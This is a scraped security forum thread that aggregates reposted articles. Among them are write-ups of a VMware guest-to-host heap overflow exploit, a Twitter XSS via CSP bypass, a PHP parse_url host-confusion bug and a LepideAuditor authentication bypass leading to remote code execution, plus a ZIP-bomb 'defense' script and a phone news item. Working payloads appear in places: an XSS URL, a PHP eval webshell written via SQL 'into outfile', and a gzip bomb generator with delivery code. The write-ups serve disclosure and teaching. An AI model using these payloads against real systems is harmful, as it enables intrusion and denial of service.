VMware Workstation Pro affected by this bug is version 12.5.3. We can now have a look at how to abuse the vulnerability and come up with a guest to host escape! Exploitation We want to gain code execution through this vulnerability so we need to either find a function pointer to overwrite on the heap or to corrupt the vtable of a C++ object. First though, let's have a look at how to set the DnD/CP protocol to version 3. This can be done by sending the following sequence of RPCI commands: tools.capability.dnd_version 3 tools.capability.copypaste_version 3 vmx.capability.dnd_version vmx.capability.copypaste_version The first two lines respectively set the versions of DnD and Copy/Paste. The latter two lines query the versions. They are required because querying the versions is what actually causes the version to be switched. The RPCI command handler for the vmx.capability.dnd_version checks if the version of the DnD/CP protocol has been modified and if so, it will create a corresponding C++ object for the specified version. For version 3, two C++ objects of size 0xA8 are created; one for DnD commands and one for Copy/Paste commands. The vulnerability gives us control over the allocation size as well as the overflow size but it also allows us to write out of bounds multiple times. Ideally we can just allocate an object of size 0xA8 and make it land before the C++ object then overwrite the vtable pointer with a pointer to controlled data to get code execution. It is not as simple as that however, since there are a few things we need to address first. Mainly we need to find a way to defeat ASLR which in our case implies also dealing with the Windows Low Fragmented Heap. Defeating ASLR We need to find an object we can overflow into and somehow influence it to get us in info leak; like an object we can read back from the guest with a length field or a data pointer we can easily corrupt. We were unable to find such an object so we decided to reverse the other RPCI command handlers a bit more and see what we could come up with. Of particular interest were commands that had counter parts, in other words, you can use one command to set some data and then use another related command to retrieve the data back. The winner was the info-set and info-get command pair: info-set guestinfo.KEY VALUE info-get guestinfo.KEY VALUE is a string and its string length controls the allocation size of a buffer on the heap. Moreover we can allocate as many strings as we want in this way. But how can we use these strings to leak data ? Simply by overwriting past the null byte and "lining" up the string with the adjacent chunk. If we can allocate a string (or strings) between the overflowing chunk and a DnD or CP object, then we can leak the vtable address of the object and hence the base address of vmware-vmx. Since we can allocate many strings, we can increase our chances of obtaining this heap layout despite the randomization of the LFH. However there is still an aspect of the allocations we do not control and that is whether a DnD or CP object is allocated after our overflowing heap chunk. From our tests, we were able to get a probability of success between 60% and 80% by playing with different parameters of our exploit such as allocating and free'ing different amounts of strings. In summary, we have the following (Ov is the overflowing chunk, S is a string and T is the target object): The plan is basically to allocate a number of strings filled with A's for example then we overflow the adjacent chunk with some B's, read back the value of all the allocated strings, the one that contains B's is the one we have corrupted. At this point we have a string we can use to read the leak with, so we can keep overflowing with a granularity matching the size of the objects in the bucket (0xA8) and reading back the string every time to check if there is some leaked data in the string. We can know that we have reached the target object because we know the offsets (from the vmware-vmx base) of the vtables of the DnD and CopyPaste objects. Therefore after each overflow, we can look at the last bits of the retrieved data to see if they match that of the vtable offsets. Getting Code Execution Now that we have obtained the info leak and know what type of C++ object we are about to overflow we can proceed with the rest of the exploitation. There are two cases we need to handle, CopyPaste and DnD. Please note that this is probably just one line of exploitation out of many others. The CopyPaste case In the case of the CopyPaste object, we can just overwrite the vtable and make it point to some data we control. We need a pointer to controlled data which will be interpreted as the vtable address of the object. The way we decided to do this is by using another RPCI command: unity.window.contents.start. This command is used for the Unity mode to draw some images on the host and allows us to have some values that we control at a know offset from the base address of vmware-vmx. To of the arguments taken by the command are width and height of the image, each of them a 32-bit word. By combining the two, we can have a 64-bit value at a known address. We line it up with the vtable entry of the CopyPaste object that we can trigger by just sending a CopyPaste command. In summary we do the following: Send a unity.window.contents.start to write a 64-bit address of a stack pivot gadget at a know address with the height and width parameters. Overwrite the vtable address with a pointer to the 64-bit address (adjusted with the offset of the vtable entry that will be called). Trigger the use of the vtable by sending a CopyPaste command. ROP. The DnD case In the case of the DnD object, we can't just overwrite the vtable because right after the overflow the vtable is accessed to call another method so we need to do it another way. This is because we only know the address of 1 qword that we control through the unity image's width and height, so we can't forge a vtable of the size we want. Let's have a look at the structure of the DnD and CP objects which can be summarized as follows (again, some similar structures can be found in open-vm-tools but they have slightly different formats in vmware-vmx): DnD_CopyPaste_RpcV3{ void * vtable; ... uint64_t ifacetype; RpcUtil{ void * vtable; RpcBase * mRpc; DnDTransportBuffer{ uint64_t seqNum; uint8_t * buffer; uint64_t totalSize; uint64_t offset; ... } ... } } RpcBase{ void * vtable; ... } A lot of fields have been omitted since they are irrelevant for the purpose of this blog post. There is a pointer to an RpcBase object which is also a C++ object. Therefore if we can overwrite the mRpc field with a pointer-to-pointer to data we control, we can have a vtable of our liking for the RpcBase object. For this pointer we can also use the unity.window.contents.start command. Another parameter the command takes on top of width and height is imgsize, which controls the size of the image buffer. This buffer is allocated and its address can also be found at a static offset from the vmware-vmx base. We can populate the contents of the buffer by using the unity.window.contents.chunk command. In summary we do the following: Send a unity.window.contents.start command to allocate a buffer where we will store a fake vtable. Send a unity.window.contents.chunk command to populate the fake vtable with some stack pivot gadget. Overwrite the mRpc field of the DnD object with an address pointing to the address of the allocated buffer. Trigger the use of the vtable of the mRpc field by sending a DnD command. ROP. P.S: There is a RWX page in vmware-vmx (at least in version 12.5.3). Notes on Reliability As mentioned earlier, the exploit is not 100% reliable due to the Windows LFH. Some things can be attempted in order to increase the reliability. Here is a short list: Monitor allocations of size 0xA8 to see if we can take advantage of the determinism of the LFH after a number of malloc's() and free's() as described here and here. Find some other C++ objects to overwrite, preferably some that we can spray. Find some other objects on the heap with function pointers, preferably some that we can spray. Find a seperate info leak bug that we can use as an oracle. Be more creative. Useless Video Here is a video of the exploit in "action". (Yes, it's VMware inside VMware.) Conclusion "No pwn no fun" and make sure that if you want to take part in some contest like pwn2own you either have multiple bugs or you find some inspired vulnerabilities. Sursa: http://acez.re/the-weak-bug-exploiting-a-heap-overflow-in-vmware/
      • 1
      • Upvote
  17. Meet Hydrogen One, World's First Android Smartphone with Holographic Display Will be the control center of RED's upcoming Hydrogen System Jul 6, 2017 20:19 GMT · By Marius Nestor · RED, the leading manufacturer of professional digital cinema cameras, announced that it would develop the world's first holographic Android smartphone, which the company will launch sometime next year. Dubbed as Hydrogen One Media Machine, the standalone, unlocked smartphone is powered by Google's Android mobile operating system and promises to obsolete glasses to enjoy multi-dimensional content. RED is known for its innovative, modular camera systems that offer groundbreaking image quality, but with Hydrogen One they want to offer the world a new "look around depth" experience right in the palm of your hand. The device will have a 5.7-inch professional holographic display that features nanotechnology, and it's designed from the offset to seemingly switch between 2D and 3D content, interactive games, and holographic multi-view content. Both landscape and portrait modes will be supported by the ingenious display of Hydrogen One Media Machine, which will support RED's H4V (Hydrogen 4-View) content, stereo 3D content, as well as 2D and 3D VR, MR, and AR. The foundation of a future multi-dimensional system In terms of audio quality, RED will embed a proprietary H3O algorithm in the Android OS that powers Hydrogen One, which converts stereo sound into expansive multi-dimensional audio. RED plans to develop Hydrogen One as the first piece of a future multi-dimensional system that the company works on and calls it the Hydrogen System. Hydrogen One being the control center of this upcoming modular system. "The HYDROGEN SYSTEM incorporates a new high-speed data bus to enable a comprehensive and ever-expanding modular component system, which will include future attachements for shooting higher quality motion and still images as well as HYDROGEN format holographic images," says RED in the press announcement. The Hydrogen One Media Machine will sell starting at $1,195 USD for the aluminium variant and $1,595 USD for the titanium one. It will integrate with the RED camera program and allow access to the Red Channel, which contains only 4-View holographic content. The device is planned for Q1 2018. Sursa: http://news.softpedia.com/news/meet-hydrogen-one-world-s-first-android-smartphone-with-holographic-display-516858.shtml
      • 1
      • Upvote
  18. tbmnull Jul 6 Making an XSS triggered by CSP bypass on Twitter. Hi there, I’m a security researcher & bug hunter, but still learning. I want to share how hard it was to find an XSS (Cross Site Scripting) on such a huge organization and well secured Twitter.com and how I could achieve it with combining another security vulnerability CSP (Content Security Policy) bypass. Here is the story: After digging a lot on Twitter’s subdomains, I came across to https://careers.twitter.com/. As you can guess, it is Twitter’s career site, you can search for jobs as an opportunity to work with them, but I search for bugs. Sometime later, I thought I’ve found a reflection for an XSS on the URL: https://careers.twitter.com/en/jobs-search.html?location=1" onmouseover=”alert(1)&q=1&start=70&team= with the location parameter. But wait, there was no alert! I couldn’t be able to trigger it! Because they’ve implemented CSP as: content-security-policy: default-src ‘self’ ; connect-src ‘self’ ; font-src ‘self’ https://*.twimg.com https://*.twitter.com data:; frame-src ‘self’ https://twitter.com https://*.twitter.com [REDACTED] https://*.twitter.com; report-uri https://twitter.com/i/csp_report and It blocked the javascript alert box to be come to scene. So, I was unsuccessful on getting this work, unfortunately. Then I applied to my master @brutelogic as always and asked him that I’ve found some XSS (didn’t share the details nor domain) but I could not be able to get it work because of the CSP. He adviced me to find a way to bypass it! I already remember his saying: “For god’s sake, stop talking and go find a way to bypass the CSP!”. Thanks bro :) I tried a lot to find the way, and gave up that time. After trying a lot and looking for something on other domains, I figured out an URL that’s going under the radar within GET requests hiddenly. URL was: https://analytics.twitter.com/tpm?tpm_cb= The response Content-type was application/javascript and what I write as the parameter tpm_cb, it was reflecting on the page! I was lucky this time, and I tried to combine both my findings to make the XSS work. So, I created: https://careers.twitter.com/en/jobs-search.html?location=1"> src=//analytics.twitter.com/tpm?tpm_cb=alert(document.domain)>// willing “><script src= on the XSS reflection will work. And voila! It worked! Happy End! I screamed out in my office and all my colleagues were afraid. Sorry guys :) I immediately reported these to Twitter via their bug bounty program on Hackerone, they triaged and rewarded me very quickly. Also they fixed the XSS on career site but CSP bypass took a long time to fix. But in the end both sides were satisfied. Thanks to Twitter Security Team and an awesome community hackerone! Hope this helps newbies like me to develop themselves. And If you want to share your thoughts, just ping me on Twitter: @tbmnull Thanks for reading. Sursa: https://medium.com/@tbmnull/making-an-xss-triggered-by-csp-bypass-on-twitter-561f107be3e5
      • 3
      • Upvote
      • Like
  19. TSIG authentication bypass through signature forgery in ISC BIND Synacktiv experts discovered a flaw within the TSIG protocol implementation in BIND that would allow an attacker knowing a valid key name to bypass the TSIG authentication on zone updates, notify and transfers operations. This issue is due to the fact that when a wrong TSIG digest length is provided (aka the digest doesn’t have a length that matches the hash algorithm used), the server still signs its answer by using the provided digest as a prefix. This allows an attacker to forge the signature of a valid request, hence bypassing the TSIG authentication. Download: http://www.synacktiv.ninja/ressources/CVE-2017-3143_BIND9_TSIG_dynamic_updates_vulnerability_Synacktiv.pdf
      • 2
      • Upvote
  20. Publicat pe 5 iul. 2017 Ad-hoc session working on pivoted packets through Meterpreter. Not finished, more to do, but small chunks of progress.
      • 4
      • Upvote
      • Like
  21. How to defend your website with ZIP bombs the good old methods still work today Posted by Christian Haschek on 2017-07-05 [update] I'm on some list now that I have written an article about some kind of "bomb", ain't I? If you have ever hosted a website or even administrated a server you'll be very well aware of bad people trying bad things with your stuff. When I first hosted my own little linux box with SSH access at age 13 I read through the logs daily and report the IPs (mostly from China and Russia) who tried to connect to my sweet little box (which was actually an old ThinkPad T21 with a broken display running under my bed) to their ISPs. Actually if you have a linux server with SSH exposed you can see how many connection attempts are made every day: grep 'authentication failures' /var/log/auth.log Hundreds of failed login attempts even though this server has disabled password authentication and runs on a non-standard port Wordpress has doomed us all Ok to be honest, web vulnerability scanners have existed before Wordpress but since WP is so widely deployed most web vuln scanners include scans for some misconfigured wp-admin folders or unpatched plugins. So if a small, new hacking group wants to gain some hot cred they'll download one of these scanner things and start testing against many websites in hopes of gaining access to a site and defacing it. Sample of a log file during a scan using the tool Nikto This is why all server or website admins have to deal with gigabytes of logs full with scanning attempts. So I was wondering.. Is there a way to strike back? After going through some potential implementations with IDS or Fail2ban I remembered the old ZIP bombs from the old days. WTH is a ZIP bomb? So it turns out ZIP compression is really good with repetitive data so if you have a really huge text file which consists of repetitive data like all zeroes, it will compress it really good. Like REALLY good. As 42.zip shows us it can compress a 4.5 peta byte (4.500.000 giga bytes) file down to 42 kilo bytes. When you try to actually look at the content (extract or decompress it) then you'll most likely run out of disk space or RAM. How can I ZIP bomb a vuln scanner? Sadly, web browsers don't understand ZIP, but they do understand GZIP. So firstly we'll have to create the 10 giga byte GZIP file filled with zeroes. We could make multiple compressions but let's keep it simple for now. dd if=/dev/zero bs=1M count=10240 | gzip > 10G.gzip Creating the bomb and checking its size As you can see it's 10 MB large. We could do better but good enough for now. Now that we have created this thing, let's set up a PHP script that will deliver it to a client. <?php //prepare the client to recieve GZIP data. This will not be suspicious //since most web servers use GZIP by default header("Content-Encoding: gzip"); header("Content-Length: ".filesize('10G.gzip')); //Turn off output buffering if (ob_get_level()) ob_end_clean(); //send the gzipped file to the client readfile('10G.gzip'); That's it! So we could use this as a simple defense like this: <?php $agent = lower($_SERVER['HTTP_USER_AGENT']); //check for nikto, sql map or "bad" subfolders which only exist on wordpress if (strpos($agent, 'nikto') !== false || strpos($agent, 'sqlmap') !== false || startswith($url,'wp-') || startswith($url,'wordpress') || startswith($url,'wp/')) { sendBomb(); exit(); } function sendBomb(){ //prepare the client to recieve GZIP data. This will not be suspicious //since most web servers use GZIP by default header("Content-Encoding: gzip"); header("Content-Length: ".filesize('10G.gzip')); //Turn off output buffering if (ob_get_level()) ob_end_clean(); //send the gzipped file to the client readfile('10G.gzip'); } function startsWith($haystack,$needle){ return (substr($haystack,0,strlen($needle)) === $needle); } This script obviously is not - as we say in Austria - the yellow of the egg, but it can defend from script kiddies I mentioned earlier who have no idea that all these tools have parameters to change the user agent. Sooo. What happens when the script is called? Client Result IE 11 Memory rises, IE crashes Chrome Memory rises, error shown Edge Memory rises, then dripps and loads forever Nikto Seems to scan fine but no output is reported SQLmap High memory usage until crash (if you have tested it with other devices/browsers/scripts, please let me know and I'll add it here) Reaction of the script called in Chrome If you're a risk taker: Try it yourself Sursa: https://blog.haschek.at/post/f2fda
      • 8
      • Upvote
  22. Kernel Pool Overflow Exploitation In Real World – Windows 7 1) Introduction This article will focus on a vulnerability (CVE-2017-6008) we identified in the HitmanPro standalone scan version 3.7.15 – Build 281. This tool is a part of the HitmanPro.Alert solution and has been integrated in the Sophos solutions as SophosClean.exe. The vulnerability has been reported to Sophos in February 2017. The version 3.7.20 – Build 286 patched the vulnerability in May 2017. We discovered the first crash while playing with Ioctlfuzzer [1]. Ioctlfuzzer is a great and simple tool made to fuzz the I/O Request Packets (IRP). The fuzzer hooks the DeviceIoControlFile API function and place itself as a man in the middle. For each IRP the fuzzer receives, it lands severals malformed IRP before sending the original one. The first crash occured at the very beginning of the scan, in the Initialization phase, with a BAD_POOL_HEADER code. Before going deeper, I strongly recommand readers learn a bit more on IOCTL and IRP on Windows. The MSDN documentation provides a lot of informations you must know to fully understand this article. This blogpost will be focused on x64 architectures, since it’s harder to exploit than x32 architectures. Article: http://trackwatch.com/kernel-pool-overflow-exploitation-in-real-world-windows-7/
      • 2
      • Upvote
  23. Description: ------------ url like these - http://example.com:80#@google.com/ - http://example.com:80?@google.com/ parse_url return wrong host. https://tools.ietf.org/html/rfc3986#section-3.2 The authority component is preceded by a double slash ("//") and is terminated by the next slash ("/"), question mark ("?"), or number sign ("#") character, or by the end of the URI. This problem has been fixed in 7.1. https://github.com/php/php-src/pull/1607 But, this issue should be recognized as security issue. example: - bypass authentication protocol (verify hostname of callback url by parse_url) - open redirector (verify hostname by parse_url) - server-side request forgery (verify hostname by parse_url and get_content) Test script: --------------- php > echo parse_url("http://example.com:80#@google.com/")["host"]; google.com php > echo parse_url("http://example.com:80?@google.com/")["host"]; google.com php > echo file_get_contents("http://example.com:80#@google.com"); ... contents of example.com ... Expected result: ---------------- parse_url("http://example.com:80#@google.com/")["host"]; example.com or parse error. Sursa: https://cxsecurity.com/issue/WLB-2017070054
      • 1
      • Upvote
  24. Google CTF 2017 – Pwnables – Inst_Prof – Writeup Hello my friends, let me tell you a short (wrong: rather long) story. Once about a time there was a “capture the flag” (CTF) competition, held by the well known, loaded-with-smart-people company, Google. I kind of missed the announcement of that CTF and had been in Dublin for a bit of a holidays … when I saw my Twitter feed getting loaded with status updates from people who were trying to crack the various tasks. Of course I had to try this then as well – and since I am a massive fan of cracking/hacking/reversing binaries, I checked out the “easy” target called “inst_prof”. Link: https://dilsec.wordpress.com/2017/07/06/google-ctf-2017-pwnables-inst_prof-writeup/
  25. Auditing the Auditor July 5, 2017Exploit Development, Offensive Security, Penetration Testing Some time ago, we noticed some security researchers looking for critical vulnerabilities affecting “security” based products (such as antivirus) that can have a damaging impact to enterprise and desktop users. Take a stroll through the Google Project Zero bug tracker to see what we mean. Other security researchers are outspoken about such products as well: The underlying point is that on the face of it, the wider community assumes that security products are themselves secure and often don’t comprehend the significant increase of attack surface introduced by so-called security products. Thanks to the work of security researchers, antivirus has been proven to fall short of the big enterprise giants, who already implement sandbox technologies, strong exploit mitigation technologies, and have evolving and maturing bug bounty programs. While we all love a good antivirus remote code execution vulnerability, many intelligent people are already working in that space so we decided to begin auditing compliance-based enterprise software products. This type of software typically tries to ensure some level of security and compliance, promising high integrity to the enterprise market. Today, we’re going to discuss an interesting vulnerability that was discovered well over a year ago (Sun, 22 May 2016 at 7pm to be exact) during the audit of one such compliance-based enterprise product: LepideAuditor Suite. This vulnerability was publicly disclosed as ZDI-17-440 and marked as zero-day since no reply was received from the vendor. Interestingly, this vulnerability is patched in the latest version of LepideAuditor even though there is no mention of it in the product’s release history. The product introduction states that it is designed for IT security managers and audit personal among a few others and it allows users to access real-time reports through a “secure” web portal. Without further ado, let’s begin! Installation The suite is designed for IT security managers and audit personal among a few others. The suite consists of four components that can be installed after extracting the lepideauditorsuite.zip package. The first component that we installed was the “Lepide Auditor Web Console” The component installation is easy. With a double-click, we deployed the simple WAMP stack that Lepide provided on port 7778. Auditing With the application up and running, we started by looking at Process Explorer to see what was going on: We noticed that the web console is simply an Apache web server running as NT AUTHORITY/SYSTEM listening on port 7778. The properties window also displayed the current directory as C:\LepideAuditorSuiteWebConsole\apache so this is a good place to look first. Browsing around this path in Explorer revealed something interesting: It’s our good friend PHP and like many people, we love ourselves a good PHP target. Authentication Bypass Looking for some low-hanging fruit, we decided to start with a blackbox approach and spend some time poking around at the authentication mechanism: Right away, we noticed that the authentication process took a long time (around about 6 seconds) to get a response from the server. We also noticed that the application was asking for an extra server parameter as input, which is not normal, during authentication. It turns out that the extra time taken was because Apache was performing a DNS lookup request using ‘test’. Since we did not have login credentials and could not reach much functionality without them, we moved on to auditing the PHP source code directly. The first thing we looked at was the login functionality, apparently implemented by index.php. Opening up the file revealed the following: Full disclosure: we admit we got a bit of a chuckle over this. Whilst security through obscurity is fine for things like ASLR, it doesn’t make much sense for source code, especially using base64 as the obfuscation technique. We would at least expect a JIT obfuscation technique such as ionCube or Zend Guard. After breaking through the imposing base64 encoding, we saw the following code: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 <?php session_start(); if((isset($_SESSION["username"]))&&($_SESSION["username"]!="")) { //header("location: data.php" ); //exit(); } ?> <?php include_once("config.php"); ?> <?php $error=''; if(isset($_POST["submit"])) { $servername = isset($_POST["servername"])?mysql_real_escape_string($_POST["servername"]):""; $username = isset($_POST["username"])?mysql_real_escape_string($_POST["username"]):""; $password = isset($_POST["password"])?mysql_real_escape_string($_POST["password"]):""; if ($servername=="") { $error= "Please Enter Server Name"; } elseif ($username=="") { $error= "Please Enter Username"; } //elseif (strpos($username,'@')==false) { // $error= 'Please Enter Valid Username'; //} elseif ($username=="") { $error= "Please Enter Password"; } if($error=="") { $port=1056; $sock=connect ($servername,$port); if($sock) { $_SESSION["socket"]=$sock; $data= 601; //authenticate login if(sendtags($_SESSION["socket"],$data)) { if(sendstringtoserver($_SESSION["socket"],$username)) { if(sendstringtoserver($_SESSION["socket"],$password)) { $recv= getstringfromserver($_SESSION["socket"]); if ($recv =='_SUCCESS_') { $_SESSION["username"]=$username; $_SESSION["ip"]=$servername; $_SESSION["password"]=$password; $_SESSION["sessionno"]=rand(10,100); session_write_close(); header("location: reports" ); exit(); } Looking at the code, we see that it includes config.php, which of course, also looks interesting. However, to begin with, the code is taking user-supplied input as the server variable along with a hard-coded port number, and passing it to the connect() function on line 31. Let’s take a look at that function within the config.php file: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 function connect ($ip,$port) { if (!extension_loaded('sockets')) { die('The sockets extension is not loaded.'); } if(!($sock = socket_create(AF_INET, SOCK_STREAM, 0))) { $errorcode = socket_last_error(); $errormsg = socket_strerror($errorcode); die("Couldn't create socket: [$errorcode] $errormsg \n"); } if(!socket_connect($sock , $ip ,$port)) { $sock= ""; $error="could not connect"; return $sock; } else{ return $sock; } return $sock; } The code creates a raw socket connection to the supplied server parameter. Switching back to the index.php script, on lines 37 and 39 the code tries to authenticate using the supplied username and password. If successful from line 43, a valid, authenticated session is created! Since, as an attacker, we can control the authenticating server parameter, we can essentially bypass the authentication. Gaining Remote Code Execution Now that we could bypass the authentication, we decided to look further into the source code and see what other input is trusted from the authentication server. After spending some more time browsing around the source code, we noticed an interesting file named genratereports.php. Judging by the name, it is presumably used to generate rate reports, rather than facilitating an attacker’s access into the target. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 $gid= isset($_GET["grid_id"])?$_GET["grid_id"]:''; if(($id!=0)&&($daterange!="")&&($path!="")&&($gid=="")) { $port=1056; $sock =login($ip, $port, $username,$password); if($sock) { $data = 604; if(sendtags($sock,$data)) { if(sendstringtoserver($sock,$id)) { if(sendstringtoserver($sock,$path)) { $columnamestr=getstringfromserver($sock); $columname=genratecolumnname($columnamestr); session_start(); $_SESSION["columname"]=$columname; session_write_close(); } } } if($columname) { $data = 603; if(sendtags($sock,$data)) { if(sendstringtoserver($sock,$daterange)) { if(sendstringtoserver($sock,$id)) { if(sendstringtoserver($sock,$path)) { $filename=getfilefromremote($sock); if($filename) { $restore_file = "temp/".$filename.".sql"; if(createdb($restore_file,$username,$sessionnumber)) It seems that we can reach the vulnerable code block if the $gid variable is set, which is controlled from the grid_id GET parameter. Next, login() is called using our supplied username and password from our authenticated session. The login() function is essentially the same process we went through before to authenticate and setup the initial session, defined in config.php. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 function login($ip, $port, $username,$password) { $sock=connect ($ip,$port); if($sock) { $data= 601; //authenticate login if(sendtags($sock,$data)) { if(sendstringtoserver($sock,$username)) { if(sendstringtoserver($sock,$password)) { $recv= getstringfromserver($sock); if ($recv =='_SUCCESS_') { return $sock; /* $_SESSION["username"]=$username; $_SESSION["ip"]=$servername; header("location: data.php" ); exit(); */ } else{ disconnect($sock); destroysession(); //return false; } } } } } } The difference this time, is that it doesn’t set any session variables, but simply returns the socket handle. Returning back to genratereports.php, after the login returns and validates the socket handle, some tags and strings are sent to the controlled server and then a column name is sent from the server. That column name is validated, and then finally, on line 34, we see a call to getfilefromremote(). That function looked scary interesting to us, so we decided it merited further investigation. The getfilefromremote() function is also defined in config.php: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 function getfilefromremote($sock) { $uniqid=uniqid(); $tag=readtag($sock); if($tag[1]==5) { $msg=""; $buf=socket_read ($sock, 4); $rec_Data= unpack("N",$buf); if($rec_Data[1]>0)//size { if($rec_Data[1]0) { $data= socket_read($sock, $size); $size=$size-strlen($data); $data_rec.=$data; } } catch (Exception $e) { echo 'Caught exception: ', $e->getMessage(), "\n"; } $data = iconv('UTF-16LE','UTF-8',$data_rec); $fp = fopen("temp/".$uniqid.".sql","wb"); fwrite($fp,$data); fclose($fp); $ack=2; if(socket_send ( $sock , pack('N*',$ack), strlen(pack('N*',$ack)) , 0)) { if($rec_ack=readtag($sock)) { if($rec_ack[1]==2) { //socket_close($sock); return $uniqid; } } } } The function reads data from our controlled server and copies it to a temporary file that is created using uniqid() on lines 22 and 23. Finally, the code returns the uniqid that was created. Going back to genratereports.php, we can see the $restore_file variable is mapped to the same path as the file that was created in getfilefromremote(). That variable is then passed to the createdb() function. Let’s investigate createdb() within, once again, config.php: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 function createdb($dbfile,$Dusername,$sessionnumber) { $dbcreate= false; ini_set('max_execution_time', 300); //300 seconds = 5 minutes $server_name= "localhost"; $username= "root"; $password= ""; $dbname= substr(preg_replace("/[^a-z]+/", "", $Dusername), 0, 12); $dbname= $dbname.$sessionnumber; $link = mysql_connect($server_name, $username, $password); if ($link) { $user=substr(preg_replace("/[^a-z]+/", "", $Dusername), 0, 12); //$user=$user.sessionno $host="localhost"; $pass= "123456"; $userQ= "DROP USER ".$user."@localhost"; $createQ = "CREATE USER '{$user}'@'{$host}' IDENTIFIED BY '{$pass}'"; $grantQ = "GRANT ALTER, ALTER ROUTINE, CREATE, CREATE ROUTINE, CREATE TEMPORARY TABLES, CREATE USER, CREATE VIEW, DELETE, DROP, EVENT, EXECUTE, FILE, INDEX, INSERT, LOCK TABLES, PROCESS, REFERENCES, RELOAD, REPLICATION CLIENT, REPLICATION SLAVE, SELECT, SHOW DATABASES, SHOW VIEW, SHUTDOWN, SUPER, TRIGGER, UPDATE ON *.* TO '{$user}'@'{$host}' WITH GRANT OPTION"; mysql_query($userQ); if(mysql_query($createQ)){ if(mysql_query($grantQ)){ $dropdbQ ='DROP DATABASE IF EXISTS '.$dbname; mysql_query($dropdbQ, $link); $sql = 'CREATE DATABASE IF NOT EXISTS '.$dbname; mysql_query($sql, $link); $cmd = "mysql -h {$host} -u {$user} -p{$pass} {$dbname} < $dbfile"; exec($cmd,$output,$return); The createdb function attempts to create a new root database user account and uses the supplied $restore_file variable into a command that is passed to exec() on lines 30 and 31. On the surface, it appears that this is a command execution vulnerability, however, since we do not fully or partially control the filename directly (just the contents), we cannot execute commands. However, the astute reader has probably put it all together–we can control input passed to the MySQL client as the database user root using attacker-controlled SQL. At this point, we can do something like the following: 1 2 # exploit! if send_file(conn, "select '<?php eval($_GET[e]); ?>' into outfile '../../www/offsec.php';"): Exploitation This was simple enough. All we had to do was create a socket server that interacted with the target and supplied what it needed, when it needed it. In one window, we setup the malicious server: root@kali:~# ./server-poc.py Lepide Auditor Suite createdb() Web Console Database Injection Remote Code Execution by mr_me 2016 (+) waiting for the target... We then used a client to send the first login request, then a second request to the getratereport.php file: root@kali:~# ./client-poc.py 172.16.175.137 172.16.175.1 (+) sending auth bypass (+) sending code execution request The first request just performs the login against our attacker-controlled server: POST /index.php HTTP/1.1 Host: 172.16.175.137:7778 Content-Type: application/x-www-form-urlencoded Content-Length: 61 servername=172.16.175.1&username=test&password=hacked&submit= We get a response that contains an authenticated PHPSESSID. We must take care to not follow the redirect, or our PHPSESSID will be destroyed (code omitted): HTTP/1.1 302 Found Date: Sun, 22 May 2016 19:00:20 GMT Server: Apache/2.4.12 (Win32) PHP/5.4.10 X-Powered-By: PHP/5.4.10 Set-Cookie: PHPSESSID=lkhf0n8epc481oeq4saaesgqe3; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache location: reports Content-Length: 8 Content-Type: text/html The second request triggers the exec() call using our newly-authenticated PHPSESSID: GET /genratereports.php?path=lol&daterange=1@9&id=6 HTTP/1.1 Host: 172.16.175.137:7778 Cookie: PHPSESSID=lkhf0n8epc481oeq4saaesgqe3 Finally, all the pieces come together… root@kali:~# ./server-poc.py Lepide Auditor Suite createdb() Web Console Database Injection Remote Code Execution by mr_me 2016 (+) waiting for the target... (+) connected by ('172.16.175.137', 50541) (+) got a login request (+) got a username: test (+) got a password: hacked (+) sending SUCCESS packet (+) send string successful (+) connected by ('172.16.175.137', 50542) (+) got a login request (+) got a username: test (+) got a password: hacked (+) sending SUCCESS packet (+) send string successful (+) got a column request (+) got http request id: 6 (+) got http request path: lol (+) send string successful (+) got a filename request (+) got http request daterange: 1@9 - 23:59:59 (+) got http request id: 6 (+) got http request path: lol (+) successfully sent tag (+) successfully sent file! (+) file sent successfully (+) done: http://172.16.175.137:7778/offsec.php?e=phpinfo(); That’s unauthenticated remote code execution as NT AUTHORITY/SYSTEM. It’s also interesting to note that Lepide uses an old version of PHP! Conclusion Currently, a great deal of focus is applied to input validation vulnerabilities such as an SQL injection or PHP code injection but the complete security model of this application is destroyed when trusting the client to supply the authentication server. Disastrous logic vulnerabilities such as these can be avoided if the trust chain is validated before deployment. This is a vulnerability that would have never been found via the blackbox approach. Last year during our Advanced Web Attacks and Exploitation (AWAE) course at Black Hat, we guided the students focus away from the ‘traditional’ black-box web application penetration test to a more involved white-box / grey-box research approach. The threat landscape is changing and skilled web application bug hunters are everywhere due to the explosion of the service-oriented bug bounties provided by companies large and small. On the other hand, product-oriented bug bounties require auditors to understand application logic and code even more so than a service-oriented bounty hunter. In order for security analysts to progress, they will need to have the ability to audit source code at a detailed level in the on-going quest to discover zero-day. References: http://www.zerodayinitiative.com/advisories/ZDI-17-440/ Sursa: https://www.offensive-security.com/vulndev/auditing-the-auditor/
      • 1
      • Upvote
×
×
  • Create New...